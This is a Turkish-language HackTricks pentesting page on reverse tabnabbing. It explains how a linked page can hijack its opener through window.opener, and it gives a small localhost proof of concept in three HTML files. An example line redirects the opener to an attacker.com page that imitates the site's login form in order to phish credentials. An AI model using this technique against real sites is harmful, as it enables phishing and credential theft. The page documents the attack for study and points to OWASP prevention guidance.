hacktricks/pentesting-web/reverse-tab-nabbing.md

116 lines
6.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
# Açıklama
Bir **saldırganın**, bir mağdur tarafından tıklanacak olan **`<a`** etiketinin **`href`** argümanını **kontrol edebildiği** bir durumda, **saldırgan** bu **bağlantıyı** kontrolü altındaki bir web sitesine (bir **kötü niyetli** **web sitesi**) yönlendirebilir. Daha sonra, **mağdur bağlantıya tıkladığında** ve saldırganın web sitesine eriştiğinde, bu **kötü niyetli** **web sitesi**, javascript nesnesi **`window.opener`** aracılığıyla **orijinal** **sayfayı** **kontrol edebilir**.\
Eğer sayfa **`rel="opener"`** içermiyorsa ama **`target="_blank"`** içeriyorsa ve **`rel="noopener"`** içermiyorsa, bu da savunmasız olabilir.
Bu davranışı kötüye kullanmanın yaygın bir yolu, **orijinal webin konumunu** `window.opener.location = https://attacker.com/victim.html` ile saldırganın kontrolündeki ve **orijinaline benzeyen** bir web sitesine değiştirmektir, böylece **orijinal web sitesinin** **giriş** **formunu** **taklit edebilir** ve kullanıcıdan kimlik bilgilerini isteyebilir.
Ancak, **saldırgan artık orijinal web sitesinin pencere nesnesini kontrol edebildiğinden**, bunu başka şekillerde kötüye kullanabilir ve **gizli saldırılar** gerçekleştirebilir (belki javascript olaylarını değiştirerek kendisine ait bir sunucuya bilgi sızdırmak?).
# Genel Bakış
## Geri bağlantı ile
Önleme özelliği kullanılmadığında ana ve alt sayfalar arasındaki bağlantı:
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITH\_LINK.png)
## Geri bağlantı olmadan
Önleme özelliği kullanıldığında ana ve alt sayfalar arasındaki bağlantı:
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITHOUT\_LINK.png)
## Örnekler <a href="#examples" id="examples"></a>
Aşağıdaki sayfaları bir klasörde oluşturun ve `python3 -m http.server` ile bir web sunucusu çalıştırın.\
Sonra, **erişim sağlayın** `http://127.0.0.1:8000/`vulnerable.html, **bağlantıya tıklayın** ve **orijinal** **web sitesinin** **URL'sinin** **nasıl değiştiğini** not edin.
{% code title="vulnerable.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
```
{% endcode %}
{% code title="malicious.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
```
{% endcode %}
{% code title="malicious_redir.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
```
{% endcode %}
## Erişilebilir özellikler <a href="#accessible-properties" id="accessible-properties"></a>
**Farklı kökenler** arasında bir erişim gerçekleştiğinde (farklı alanlar arasında erişim), kötü niyetli bir sitenin erişebileceği **opener** JavaScript nesne referansı ile belirtilen **window** JavaScript sınıf örneğinin özellikleri aşağıdaki ile sınırlıdır:
- **`opener.closed`**: Bu özellik, bir pencerenin kapatılıp kapatılmadığını belirlemek için erişilir ve bir boolean değeri döner.
- **`opener.frames`**: Bu özellik, mevcut penceredeki tüm iframe öğelerine erişim sağlar.
- **`opener.length`**: Mevcut pencerede bulunan iframe öğelerinin sayısını döner.
- **`opener.opener`**: Bu özellik aracılığıyla mevcut pencereyi açan pencerenin referansı elde edilebilir.
- **`opener.parent`**: Bu özellik, mevcut pencerenin üst pencere referansını döner.
- **`opener.self`**: Bu özellik, mevcut pencereye erişim sağlar.
- **`opener.top`**: Bu özellik, en üstteki tarayıcı penceresini döner.
Ancak, alanlar aynı olduğunda, kötü niyetli site, [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript nesne referansı tarafından açığa çıkarılan tüm özelliklere erişim kazanır.
# Önleme
Önleme bilgileri [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing) belgesinde belgelenmiştir.
## Referanslar
* [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}